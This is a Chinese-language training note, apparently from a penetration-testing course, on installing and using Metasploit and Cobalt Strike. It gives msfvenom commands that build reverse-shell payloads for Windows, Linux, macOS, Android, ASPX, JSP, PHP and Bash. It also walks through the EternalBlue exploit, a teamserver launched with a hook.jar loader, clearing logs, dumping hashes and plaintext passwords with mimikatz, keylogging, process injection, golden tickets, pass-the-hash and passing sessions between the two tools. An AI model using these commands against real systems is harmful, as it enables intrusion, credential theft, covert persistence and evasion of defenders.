Metasploit&Cobalt Strike 基礎
本文為內測第一周結束后內網學員的學習筆記,后續本公眾號會持續更新其他課程學員學習筆記。對課程感興趣,請添加文末小助手微信咨詢。??
0x01 MSF安裝和升級
最近mac本機和linux服務器上的msf在執行msfupdate命令以后都出現了不同程度的玄學問題,于是卸了重裝。
1.1 安裝
https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installerscurl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \ chmod 755 msfinstall && \ ./msfinstall
以非root用戶首次啟動msf來創建數據庫。
如果是用root用戶首次啟動msf了那么就用 msfdb reinit命令來初始化數據庫。
1.2 mac下msf的卸載:
msfremove
1.3 linux下msf的卸載:
sudo rm -rf /opt/metasploit-frameworkrm ~/.msf4/logs/framework.log
如果都用1.1里的方式安裝的就用以上這兩條命令卸載就行了。
但是我發現我服務器上一開始是通過 apt-get install來裝msf的。所以需要加:
sudo apt-get remove metasploit-framework
這條命令來卸載msf。
https://github.com/rapid7/metasploit-framework/issues/14652 前兩條命令
1.4 msf更新
msfupdate
1.5 添加到路徑
順帶一提,添加msfconsole和msfvenom這些bin到路徑的方法在mac上和在linux上都是
export PATH="$PATH:/opt/metasploit-framework/bin"
0x02 msf使用方法
2.1 使用方法
進入msf: msfconsolesearch命令查找模塊: search ms17-010use進入模塊: use exploit/windows/smb/ms17_010_eternalblue (search以后use 0)模塊詳細信息查看: use了以后info,沒use 之前 info exploit/windows/smb/ms17_010_eternalblue設置攻擊載荷: set payload windows/x64/meterpreter/reverse_tcp查看模塊需要的參數:options設置參數: set lhost 0.0.0.0(參數名似乎不區分大小寫)攻擊:run / exploit 都可以meterpreter后滲透階段
2.2 rc腳本執行多個msf命令
msfconsole -r configure.rc
0x03 msfvenom生成shellcode
3.1 一般生成
msfvenom-p 載荷 -f 輸出格式 -o 輸出文件msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o payload.exe大部分時候也是需要一些配置 lhost lport這些:msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888-i 3-e x86/shikata_ga_nai -f exe -o payload.exe
3.2 編碼生成
msfvenom -a 系統架構 --platform 系統平臺 -p 有效載荷 lhost=攻擊機IP lport=攻擊機端口 -e 編碼方式 -i 編碼次數 -f 輸出格式 -o 輸出文件msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=8888-i 3-e x86/shikata_ga_nai -f exe -o payload.exe一般來說 -a可以不用,--platform也可以不用
3.3 查看支持的系統架構
msfvenom -l archs
3.4 查看支持的系統平臺
msfvenom -l platforms
3.5 列出所有payload
msfvenom -l payload
3.6 列出所有的輸出格式
msfvenom -l formats
3.7 列出所有的加密方式
msfvenom -l encrypt
3.8 列出所有的編碼器
msfvenom -l encoders
0x04 常見生成格式
主要是windows。
4.1 windows
msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i 3-ex86/shikata_ga_nai -f exe -o payload.exe
4.2 Linux
msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -opayload.elf
4.3 Mac
msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho
4.4 Android
msfvenom -p android/meterpreter/reverse_tcp -o payload.apk
4.5 Aspx
msfvenom --platform windows -p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx
4.6 Jsp
msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp
4.7 PHP
msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php
4.8 Bash
msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh
0x05 CS安裝
5.1 java版本切換
mac切換java版本
https://juejin.cn/post/6871959224314757134
原先的bash_profile里面的腳本
export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_91.jdk/Contents/Home CLASS_PATH="$JAVA_HOME/lib" PATH=".$PATH:$JAVA_HOME/bin"
mac下我用的是zsh,所以把上面的腳本復制到.zshrc里面就行。
ubuntu下的jdk我都安裝在/usr/local下,就不用update-alternatives切換了吧,自己用的時候自己換吧。
在~/.bashrc 里面現在是/usr/local/jdk-11.0.1/bin
5.2 CS啟動
服務端cd /home/ubuntu/CS4.3&&nohup sudo ./teamserver ip pass js.profile & 客戶端啟動(mac)cd /Users/hh/sectools/Cobalt_Strike_4.3&&java -Xdock:icon=cobaltstrike.icns -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -javaagent:hook.jar -jar cobaltstrike.jar客戶端啟動(win)java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M -javaagent:hook.jar -jar cobaltstrike.jar
5.3 CS文件介紹
agscript:擴展應?的腳本 c2lint:?于檢查profile的錯誤和異常 teamserver:服務器端啟動程序cobaltstrike.jar:CobaltStrike核?程序cobaltstrike.auth:?于客戶端和服務器端認證的?件,客戶端和服務端有?個?模?樣的 cobaltstrike.store:秘鑰證書存放?件客戶端基本只需cobaltstrike.jar,cobaltstrike.auth,cobaltstrike.store這幾個文件。
5.4 目錄
data:?于保存當前TeamServer的?些數據 download:?于存放在?標機器下載的數據 upload:上傳?件的?錄 logs:?志?件,包括Web?志、Beacon?志、截圖?志、下載?志、鍵盤記錄?志等 third-party:第三??具?錄

PC上 ?
5.5 CS 清除 日志
logs文件打包備份以后刪除原文件夾。刪除 ~/.aggressor.prop 文件里的內容。CS監聽器和插件主要記錄監聽器的各種payload和選項加載插件時候的各種需要注意的問題
5.6 CS監聽器創建
監聽器-> listenersCobaltStrike的內置監聽器為Beacon,外置監聽器為Foreign。CobaltStrike的Beacon支持異步通信和交互式通信。創建監聽器的方式:Cobalt_Strike->Listeners->add

listenername:為監聽器名字,可任意payload:payload類型,建議HTTPS流量加密HTTPHosts: shell反彈的主機,測試中也可以填CDN節點HTTP Hosts(Stager): Stager的?請求下載payload的地址,默認也是shell反彈的主機地址HTTP Port(C2): C2監聽的端? 可以任意指定Host Rotation Strategy先不管
5.7 cs4.3 的payload選項

內部的ListenerBeacon DNS Beacon HTTP Beacon HTTPS Beacon TCP Beacon SMB外部的ListenerForeign HTTP Foreign HTTPSExternalExternal C2Beacon為內置的Listener,即在?標主機執?相應的payload,獲取shell到CS上;其中包含DNS、HTTP、 HTTPS、SMB。
Beacon可以選擇通過DNS還是HTTP協議出??絡,你可以在使?Beacon通訊過程中切換HTTP和DNS。(HTTP HOSTS的CDN節點)?持多主機連接,部署好Beacon后提交?個要連回的域名或主機的列表,Beacon將通過這些主機輪詢。
(域前置)防護團隊必須攔截所有的列表中的主機才可中斷和其?絡的通訊。通過種種?式獲取shell以后(?如直接運??成 的exe),就可以使?Beacon了。
Foreign為外部結合的Listener,常?于MSF的結合,例如獲取meterpreter到MSF上。
5.8 本地遠程加載插件

本地加載Script Manager -> Load插件的使用就是有shell彈回來以后右鍵使用。
5.9 服務端加載
加載方法:CobaltStrike服務器端有個 agscript?件,他是?來在服務器端運?cna插件?件的。agscript用法在服務端執行如下命令(避免與teamserver運行的產生的nohup.out沖突)nohup ./agscript cs的ip cs的端口 任意用戶名 password 插件路徑 >> nohup1.out & agscript和c2lint文件的使用問題(重要):CS高版本要使用hook.jaragscript配置:java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -javaagent:hook.jar -classpath ./cobaltstrike.jar aggressor.headless.Start $*c2lint配置:#!/bin/bash## Check a Malleable C&C Profile#java -XX:ParallelGCThreads=4 -XX:+UseParallelGC -javaagent:hook.jar -classpath ./cobaltstrike.jar c2profile.Lint $1
5.9.1 c2lint用法:
./c2lint xxx.profile
5.9.2 對被控主機的操作1

視圖view:Applications 顯示受害者機器的應?信息;Credentials 顯示受害者機器的憑證信息,通過hashdump和mimikatz獲取的密碼都保存在這?;Downloads 查看從被控機器上下載的?件;Event Log 可以看到事件?志,清楚的看到系統的事件,并且團隊可以在這?聊天; Keystrokes 查看鍵盤記錄;Proxy Pivots 查看代理信息;Screenshots 查看屏幕截圖;Script Console 在這?可以加載各種腳本以增強功能,https://github.com/rsmudge/cortana-scripts,學習插件編寫Targets 查看?標;Web Log 查看web?志。
5.9.3 對被控主機的操作總覽
Interact 打開beaconAccess dump hashes 獲取hash Elevate 提權 Golden Ticket 生成黃金票據注入當前會話 MAke token 憑證轉換 Run Mimikatz 運行Mimikatz 抓取明文密碼 Spawn As ?其他?戶?成Cobalt Strike的beacon Explore Browser Pivot 劫持?標瀏覽器進程(很少使用) Desktop(VNC) 桌?交互 File Browser 文件瀏覽器 Net View 命令net view Port scan 端口掃描 Process list 進程列表 Screenshot 截圖(system權限下截圖是失敗的,普通或者管理員都是可以的) Pivoting SOCKS Server 代理服務 Listener 反向端口轉發 Deploy VPN 部署VPN Spawn 新的通訊模式并生成會話Session 會話管理,刪除,心跳時間,退出,備注
5.9.4 抓取hash和明文密碼
這兩項功能都需要管理員權限,如果權限不?,先提權
抓取密碼哈希:Access->Dump Hashes


利用mimikatz抓取明文密碼:Access->Run mimikatz


credentials里面有復制功能 復制到剪貼板
6.0 提權(Elevate)
有殺軟的話提權插件可能不成功
https://github.com/rsmudge/ElevateKit

控主機簡歷Socks4代理Pivoting->Socks Server

選擇端口

做了域前置再做socks4代理的話要注意會暴露真實ip地址,要留意。
進程列表(注入進程,鍵盤監控)Explore->process list

建議注入PID大的進程

選中該進程Kill為殺死該進程Refresh為刷新該進程Inject 則是把beacon注?進程Log Keystrokes為鍵盤記 錄Screenshot 為截圖Stea Token為竊取運?指定程序的?戶令牌
6.1 Inject注入進程
選擇進程,點擊Inject,隨后選擇監聽器,點擊choose,即可發現CobaltStrike彈回了?標機的?個新會話,這個 會話就是成功注?到某進程的beacon會話。該功能可以把你的beacon會話注?到另外?個程序之中,注?之后, 除?那個正常進程被殺死了,否則我們就?直可以控制該主機了。
inject 進程PID 進程位數 監聽
最好是權限穩定了再做。
6.2 鍵盤記錄
進程列表里任意選擇?個進程,點擊Log Keystrokes,即可監聽該主機的鍵盤記錄。
keylogger 進程PID 進程位數
或者直接輸入keylogger(應該是當前進程監聽鍵盤)
點鑰匙按鈕

6.3 CS操作續
生成黃金票據注入當前會話(Golden Ticket)
?成??票據的前提是已經獲得了krbtgt?戶的哈希:xxx。并且已經獲 得?個以域?戶登錄的主機權限。
6.4 端口掃描
Explore->Port Scan


一般sockets進程數s可以選200portscan 192.168.10.1-192.168.10.10 22,445 arp 1024 arp協議掃描portscan 192.168.10.1-192.168.10.10 22,445 icmp 1024 icmp協議掃描portscan 192.168.10.1-192.168.10.10 22,445 none 1024 默認所有主機都是存活的 一般直接運行portscan 192.168.1.0/24 22,445,1433,3306 20beacon里jobs查看后臺運行jobkill 殺掉進程
6.5 哈希傳遞攻擊或者SSH遠程登錄
有哈希解不出可以嘗試PTH攻擊

6.6 MSF和CS聯動
會話的派生場景:
用MSF的payload打ms-17010MSF的shell彈到CS上CS、MSF互彈只有http和https可以接收到另一方回連的會話。http復制http,https復制https。實際攻擊中VPS上裝個msf
6.7 CS復制會話到MSF
1、CS創建外部監聽器 2、MSF開啟監聽 use exploit/multi/handler set payload windows/meterpreter/reverse_http (與cs對應)set lhost CS服務器地址 set lport CS外聯監聽器的端口 3、CS指定會話里運行spawn 外聯監聽器名

foreign_https2.msf復制命令run

6.8 MSF復制會話到CS
1、將MSF獲得meterpreter會話放在后臺:backgroud 2、注入會話 use exploit/windows/local/payload_inject session 選擇要復制的session會話 set payload windows/meterpreter/reverse_http set lhost CS服務器地址 set lport CS外聯監聽器的端口(此處應為4142) 3、CS創建監聽器 (對應的beacon http或者https) 4、MSF運行注入




然后這個彈好的shell是互不影響的。
要懂得cs拿到shell以后做的操作。
msf拿到meterpreter以后做的操作。
是后滲透的基礎。
比如說CS的shell
第一個操作是權限維持,同時快速翻文件收集信息。第二個操作是考慮打個代理,開始橫向移動,快速判斷機器是否有用,開始掃描。
??